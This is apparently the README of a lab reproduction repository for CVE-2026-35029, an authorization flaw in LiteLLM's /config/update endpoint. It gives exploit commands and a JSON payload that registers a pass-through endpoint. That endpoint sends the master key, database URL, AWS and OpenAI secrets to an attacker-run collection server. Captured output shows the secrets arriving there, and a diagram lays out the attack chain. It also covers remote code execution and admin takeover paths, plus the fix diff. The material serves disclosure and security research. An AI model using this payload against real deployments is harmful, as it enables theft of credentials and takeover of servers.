| Field | Value |
|---|
| CVE | CVE-2026-35029 |
| CVSS v4.0 | 8.7 (HIGH) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Incorrect Authorization) / CWE-285 (Improper Authorization) |
| Affected | LiteLLM < 1.83.0 |
| Fixed | v1.83.0+ (added proxy_admin role check on /config/update) |
| Published | 2026-04-06 |
| Discovered by | Timo Müller — SEC Consult Vulnerability Lab (Munich) |
| Found | 2026-02-24 |
| Links | GHSA-53mr-6c8q-9789 • NVD • SEC Consult |
LiteLLM 的 /config/update 端点本应仅允许 proxy_admin 角色调用,但在 v1.83.0 之前
没有任何角色检查。任何持有有效 API Key 的用户均可调用此端点。
| 攻击类型 | 描述 |
|---|---|
| 环境变量窃取 | 注册 Pass-Through 端点,通过 os.environ/VAR_NAME 头引用窃取 DATABASE_URL、LITELLM_MASTER_KEY 等 |
| 任意文件读取 | 利用 LANGFUSE_* 头的 Base64 编码特性,读取服务器文件系统 |
| 配置篡改 | 覆盖 UI_USERNAME、UI_PASSWORD 劫持管理员账户 |
| 远程代码执行 | 注册指向攻击者 Python 代码的 Pass-Through 端点处理器 |
⚠️ Important: The
docker-compose.ymlpins the vulnerable image to a specific digest (sha256:5beb4ea6...) from January 24, 2026. Do not change it tomain-v1.81.0-stableor any other mutable tag — later images may have been rebuilt with fixes, breaking reproduction.
# 1. 启动脆弱版 LiteLLM + 攻击者数据接收服务器
docker compose up -d
# 2. 安装依赖
pip install -r requirements.txt
# 3. 运行完整攻击链(环境变量窃取 + 文件读取)
python3 exploit/exploit.py --mode full-chain \
--target http://localhost:4000 \
--key sk-litellm-master-key
# 4. 仅窃取环境变量
python3 exploit/exploit.py --mode exfil \
--target http://localhost:4000 \
--key sk-litellm-master-key
# 5. (可选)验证修复版本不受影响
docker compose --profile fixed up -d
python3 exploit/exploit.py --mode full-chain \
--target http://localhost:4001 \
--key sk-litellm-master-key --fixed
注意:首次启动容器需等待约 30-60s(PostgreSQL 健康检查 + Prisma 数据库迁移),待容器日志中出现
Uvicorn running on http://0.0.0.0:4000后再执行 exploit。
环境变量窃取:
======================================================================
[VULNERABLE] Phase 1: Environment Variable Exfiltration
======================================================================
[*] Step 1: Registering pass-through endpoint via /config/update...
Payload: {
"general_settings": {
"pass_through_endpoints": [
{
"path": "/exfil/env",
"target": "http://exfil-server:9999/collect",
"headers": {
"X-Exfil-1-LITELLM_MASTER_KEY": "os.environ/LITELLM_MASTER_KEY",
"X-Exfil-2-DATABASE_URL": "os.environ/DATABASE_URL",
"X-Exfil-3-AWS_SECRET_ACCESS_KEY": "os.environ/AWS_SECRET_ACCESS_KEY",
"X-Exfil-4-OPENAI_API_KEY": "os.environ/OPENAI_API_KEY"
}
}
]
}
}
HTTP 200
[+] Config update accepted!
[*] Step 2: Waiting for pass-through route propagation...
6 seconds...
[*] Step 3: Triggering pass-through endpoint at /exfil/env...
HTTP 200
Response: {"status":"received","message":"Data captured by exfiltration server"}
[*] Step 4: Checking exfiltration server for stolen data...
[🔥] EXFILTRATION LOGS:
────────────────────────────────────────────────────────────
📥 Request received
Path : /collect
Headers:
X-Exfil-1-LITELLM_MASTER_KEY: sk-litellm-master-key
X-Exfil-2-DATABASE_URL: postgresql://admin:[email protected]:5432/production
X-Exfil-3-AWS_SECRET_ACCESS_KEY: AKIA1234567890EXAMPLE
X-Exfil-4-OPENAI_API_KEY: sk-openai-secret-key-leaked
[🔥] EXPLOIT SUCCEEDED! Sensitive data exfiltrated!
修复版本拒绝访问(使用非管理员 Key 时返回 403):
======================================================================
[FIXED] Phase 1: Environment Variable Exfiltration
======================================================================
HTTP 403
[-] Forbidden — target may be patched (v1.83.0+)
[+] Expected: fixed version blocks non-admin config updates
注意:若使用 Master Key(
sk-litellm-master-key)测试固定版本,配置更新仍会返回 HTTP 200(Master Key 拥有proxy_admin角色),但 Pass-Through 端点注册可能不会生效或被静默忽略。建议使用非管理员 Key 验证修复。
┌──────────────┐ ┌─────────────────┐ ┌───────────────────┐
│ 攻击者 │ │ LiteLLM Proxy │ │ Exfiltration 服务 │
│ (低权限 Key) │ │ (< v1.83.0) │ │ (攻击者控制) │
└──────┬───────┘ └────────┬────────┘ └────────┬──────────┘
│ │ │
│ 1. POST /config/update │
│ {pass_through_endpoints: │
│ [{path, target, headers: │
│ {X-DB: "os.environ/DATABASE_URL"}}]} │
│─────────────────────→│ │
│ │ │
│ HTTP 200 (OK!) │ │
│←─────────────────────│ │
│ │ │
│ 2. GET /exfil/env │ │
│─────────────────────→│ │
│ │ 3. Forward request │
│ │ + resolved headers │
│ │ (含 DATABASE_URL) │
│ │──────────────────────→│
│ │ │
│ │ HTTP 200 │
│ │←──────────────────────│
│←─────────────────────│ │
│ │ │
│ 4. 读取 /logs 确认结果 │
│─────────────────────────────────────────────→│
│←─ [🔥] 窃取到 DATABASE_URL ─────────────────│
CVE-2026-35029/
├── README.md # This file
├── docker-compose.yml # PostgreSQL db + vulnerable/fixed LiteLLM + exfil server
├── litellm_config.yaml # LiteLLM base config
├── requirements.txt # Python dependencies (PoC)
├── exfil-server/
│ ├── Dockerfile # Exfiltration server image
│ └── server.py # Captures stolen data (Python HTTP)
├── exploit/
│ ├── exploit.py # Main exploit script
│ └── payload.py # Payload builder module
├── docs/
│ └── advisory.md # Advisory reference
└── screenshots/
└── README.md # Proof screenshots placeholder
v1.83.0 在 /config/update 处理器中添加了 proxy_admin 角色检查:
# 修复前 (v1.83.0 之前) — 无角色检查
@router.post("/config/update")
async def update_config(request: Request):
... # 任何已认证用户均可调用
# 修复后 (v1.83.0+) — 需要 proxy_admin 角色
@router.post("/config/update")
@require_role("proxy_admin") # ← 新增角色检查
async def update_config(request: Request):
...
提交: 57c05459ae9b4e607bfb35228ec13a3ee8586ce4
/config/update 端点的网络访问Disclaimer: This content is provided for educational purposes and authorized security testing only.